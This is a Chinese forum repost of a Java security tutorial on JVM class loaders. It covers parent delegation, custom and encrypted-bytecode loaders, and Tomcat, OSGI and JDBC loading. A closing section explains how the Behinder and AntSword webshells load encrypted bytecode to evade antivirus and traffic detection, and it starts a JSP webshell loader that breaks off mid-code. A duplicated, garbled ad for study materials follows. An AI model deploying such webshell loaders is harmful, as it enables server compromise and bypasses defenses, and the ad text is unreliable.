Java安全之【JVM类加载器】

打印 上一主题 下一主题

主题 839|帖子 839|积分 2517

0x03 双亲委派机制

双亲委派机制是Java类加载的核心,该机制一定水平的包管了类加载的安全性。简单来讲这个机制就是“当有载入类的需求时,类加载器会先请示父加载器帮忙载入,假如没有父加载器那么就使用BootStrapClassLoader举行加载,假如所有的父加载器都找不到对应的类,那么才由自己依照自己的搜索路径搜索类,假如照旧搜索不到,则抛出ClassNotFoundException
0x1 双亲委派结构

在Java JDK中的类加载器结构如下图所示,BootstrapClassLoader为根加载器、ExtClassLoader为扩展类加载器、AppClassLoader为应用类加载器。其结构如下所示,需要留意的是他们这几个类之间的关系为依赖关系,并不是继承关系。

此中User1ClassLoader可以为应用自己计划的类加载器,并设置AppClassLoader为父加载器,这样就可以使用双亲委派机制。
0x2 代码实现

那么关于双亲委派机制代码上的实现也很简单,根据功能描述写对应的if else分支即可。一样平常在ClassLoader子类中
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) { //判定是否已经加载该类
long t0 = System.nanoTime();
try {
if (parent != null) {//假如有父类,尝试让父类去加载
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);//假如没有父类,尝试使用根装载器加载
}
} catch (ClassNotFoundException e) { }
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);//这块需要自界说,好比自己写的类装载器就可以在这里实现类装载功能
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass©;//链接已经装载的类
}
return c;
}
}
0x04 自界说类加载器

同一个类代码假如被不同的类加载器加载,那么在当前JVM中他们是两个不同的类。
0x1 遵循双亲委派机制

1.继承java.lang.ClassLoader
2.重写父类的findClass方法
loadClass方法已经实现了双亲委派功能,假如我们再去覆盖loadClass函数就会粉碎双亲委派机制。并且JDK已经在loadClass方法中帮我们实现了ClassLoader搜索类的算法,当在loadClass方法中搜索不到类时,loadClass方法就会调用findClass方法来搜索类,所以我们只需重写该方法即可。

0x2 粉碎双亲委派机制

双亲委派机制重要依赖于ClassLoader类中的loadclass函数实现逻辑,假如直接在子类中重写loadClass方法,就可以粉碎双亲委派机制。现在存在的一些组件,其类加载机制不符合双亲委派也很正常。那么可能有小搭档就很含糊了,到底是要遵守照旧要粉碎呢?应该根据需求,特殊环境特殊对待,大佬们也总结过几种应用场景,梳理如下
1. Tomcat类加载机制
首先说明双亲委派机制的缺点是,当加载同个jar包不同版本库的时间,该机制无法自动选择需要版本库的jar包。特殊是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个题目,Tomcat放弃了双亲委派模子。
当时分析Shiro反序列化的时间,遇到了Tomcat的类加载器重写了loadClass函数,从而没有严格按照双亲委派机制举行类加载,这样才气实现加载多个相同类,相当于提供了一套隔离机制,为每个web容器提供一个单独的WebAppClassLoader加载器。
Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。
2. OSGI模块化加载机制
不再是双亲委派的树桩结构,而是网状结构,没有固定的委派模子,只有具体使用某个package大概class时,根据package的导入导出的界说来构造bundle之间的委派和依赖。这块内容也计划单独写,vCenter部署及类加机制很大水平上依赖该技能,这里先挖个坑。
3. JDBC类加载机制
这里双亲委派的缺点是父加载器无法使用子加载器加载需要的类,这个使用场景就在JDBC中出现了。
以往JDBC的核心类在rt.jar中,由根加载器加载,然而现在核心类在不同厂商实现的jar包中,根据类加载机制,假如A类调用B类,则B类由A类的加载器加载,这也就意味着根加载器要加载jar包下的类,很显然这一操纵违背了双亲委派机制。
为了让父加载器调用子加载器加载需要的类,JDBC使用了Thread.currentThread().getContextClassLoader()得到线程上下文加载器来加载Driver实现类。
0x3 加载加密字节码

为了更深入的了解ClassLoader的工作流程,计划自己写一个加载Class密文件。首先编写加解密函数,将编译好的class文件通过encryptfile函数加密。
package myclassloadertest;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
public class FileUtils {
private static final int ZERO = 0;
private static final int ONE = 1;
private static String derectory ;
private static String key = “aaaabbbbccccdddd”;
private static String ivParameter = “AAAABBBBCCCCDDDD”;
public FileUtils (String path){
derectory = path;
}
public static byte[] doFile(int code, File file, String key, String ivParameterm, String filename) throws Exception {
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(
file));
byte[] bytIn = new byte[(int) file.length()];
bis.read(bytIn);
bis.close();
byte[] raw = key.getBytes(“ASCII”);
SecretKeySpec skeySpec = new SecretKeySpec(raw, “AES”);
Cipher cipher = Cipher.getInstance(“AES/CBC/PKCS5Padding”);
IvParameterSpec iv = new IvParameterSpec(ivParameterm.getBytes());
if (0 == code) {
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
} else if (1 == code) {
cipher.init(Cipher.DECRYPT_MODE, skeySpec, iv);
}
byte[] bytOut = cipher.doFinal(bytIn);
File outfile = new File(derectory + “/” + filename);
BufferedOutputStream bos = new BufferedOutputStream(
new FileOutputStream(outfile));
bos.write(bytOut);
bos.close();
return bytOut;
}
public static void encryptfile(File file, String key, String ivParameter, String filename) throws Exception {
doFile(ZERO, file, key, ivParameter, filename);
}
public static byte[] decryptfile(File file, String key, String ivParameter, String filename) throws Exception {
return doFile(ONE, file, key, ivParameter, filename);
}
public static byte[] loadfile(String name) throws Exception {
File file = new File(derectory + name.replace(‘.’, ‘/’) + “.class”);
return decryptfile(file, key, ivParameter, “decrypt_tmp_file”);
}
public static void main(String[] args) {
try {
File file = new File(derectory + “myclassloadertest/Test.class”);
String fileName = “myclassloadertest/TestCrypt.class”;
encryptfile(file, key, ivParameter, fileName);
} catch (Exception e) {
e.printStackTrace();
}
}
}
自己编写的classloader只需要使用此中loadfile函数就可以找到文件并自动解密。自界说ClassLoader代码如下
package myclassloadertest;
public class MyClassLoader extends ClassLoader{
private FileUtils fu;
public static void main(String[] args) throws ClassNotFoundException {
ClassLoader classloader=new MyClassLoader(“mypath”);
Class<?> classx = classloader.loadClass(“myclassloadertest.Test”);
System.out.println(classx);
}
public MyClassLoader(String path){
fu = new FileUtils(path);
}
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> c = findLoadedClass(name);
if (c != null) {
return c;
} else {
ClassLoader parent = this.getParent();//获取父装载器
if (parent != null){
try {
c = parent.loadClass(name);//实现双亲委派机制
}catch (ClassNotFoundException x){}
}
if(c == null){
try {
byte[] classData = fu.loadfile(name);//获取字节码
c = defineClass(name,classData,0,classData.length);//加载类
return c;
} catch (Exception e) {
e.printStackTrace();
}
}
}
return c;
}
}
在实验的过程中要将原来的Test.java删除,这样JDK AppClassLoader就找不到Test类,从而使用FileUtils加载密文件。自界说的ClassLoader也有parent节点,这是因为在初始化加载器的时间会调用父类ClassLoader中的构造方法,该方法中包罗着parent属性赋值等操纵,如下图所示

那么界说过自己的类加载器后,加载器之间的关系如下所示,MyClassLoader指定了自己的父加载器为当前类的加载器。

0x05 类加载器在冰蝎、 蚁剑木马中的应用

在网络安全领域中类加载器也发挥着重要的作用,ClassLoader加载字节码的功能可以有效的绕过静态查杀和流量查杀。
由于一句话木马的历史久长,对一句话木马的防护也多种多样。市面上也出现了很多安全防护机制,一类基于文件特性码检测;另外一类基于网络流量特性检测。
假如单纯的依靠一句话木马举行控守和命令执行,流量特性较为单一,比力轻易识别。流量加密固然能够绕过网络流量监测,但是木马目标上落地后因其代码特性很轻易被查杀软件杀掉。
因此可以使用ClassLoader的动态加载字节码的功能,让无害功能落地,动态的加载来自网络中的加密字节码。既能绕过流量监测,也能绕过杀软查杀。此中用到的类加载器功能较为简单,只需调用defineClass加载解析字节码即可。
<%@ page import=“sun.misc.BASE64Decoder” %>
<%!
class U extends ClassLoader{
U(ClassLoader c){
super©;
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
%>
<%
String cls=request.getParameter(“backdoor”);
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里不绝到现在。
深知大多数Java工程师,想要提升技能,每每是自己摸索发展大概是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学结果低效又漫长,而且极易遇到天花板技能故步自封!
因此收集整理了一份《2024年Java开辟全套学习资料》,初志也很简单,就是希望能够资助到想自学提升又不知道该从何学起的朋侪,同时减轻大家的负担。



既有适合小白学习的零底子资料,也有适合3年以上履历的小搭档深入学习提升的进阶课程,根本涵盖了95%以上Java开辟知识点,真正体系化!
由于文件比力大,这里只是将部分目录截图出来,每个节点里面都包罗大厂面经、学习条记、源码课本、实战项目、讲授视频,并且会持续更新!
假如你觉得这些内容对你有资助,可以扫码获取!!(备注Java获取)
总结

这个月马上就又要已往了,还在找工作的小搭档要做好准备了,小编整理了大厂java程序员口试涉及到的绝大部分口试题及答案,希望能资助到大家


《互联网大厂口试真题解析、进阶开辟核心学习条记、全套讲授视频、实战项目源码课本》点击传送门即可获取!
,每个节点里面都包罗大厂面经、学习条记、源码课本、实战项目、讲授视频,并且会持续更新!**
假如你觉得这些内容对你有资助,可以扫码获取!!(备注Java获取)
总结

这个月马上就又要已往了,还在找工作的小搭档要做好准备了,小编整理了大厂java程序员口试涉及到的绝大部分口试题及答案,希望能资助到大家
[外链图片转存中…(img-qeESO9nq-1713138693441)]
[外链图片转存中…(img-WPh3h43M-1713138693442)]
《互联网大厂口试真题解析、进阶开辟核心学习条记、全套讲授视频、实战项目源码课本》点击传送门即可获取!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

万万哇

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表